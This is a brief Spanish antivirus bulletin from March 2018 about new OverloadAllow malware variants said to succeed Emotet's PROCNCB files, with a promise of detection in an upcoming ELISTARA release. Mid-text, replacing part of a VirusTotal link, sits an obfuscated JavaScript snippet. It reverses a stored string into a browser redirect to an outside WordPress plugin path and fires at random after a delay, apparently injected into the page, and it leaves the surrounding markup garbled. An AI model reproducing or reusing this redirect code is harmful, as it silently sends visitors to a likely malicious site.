NUEVAS VARIANTES DE MALWARE OVERLOAD, SUCESORES DE LOS PROCNCB (alias EMOTET)

Como hasta ahora los PROCNCB.EXE, ahora son los OVERLOADALLOW los que van ocupando su lugar:

En las muestras recibidas hoy ya recibimos los de dicha nueva gama, cuyo preanalisis de virustotal ofrecen los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/81d9ab2f86d6837bb38d30104455472e57bd88fdc5d2bfbe2fdaa7951030c242/analysis/1521190155/” target=”_blank” rel=”noopener”>informe sobre fichero OverloadAllow(05).gxe

Dicha versión del ELISTARA 38.68 que los detecta y elimina, estará disponible en nuestra web a partir del prox 17/3

saludos

ms, 16/3/2018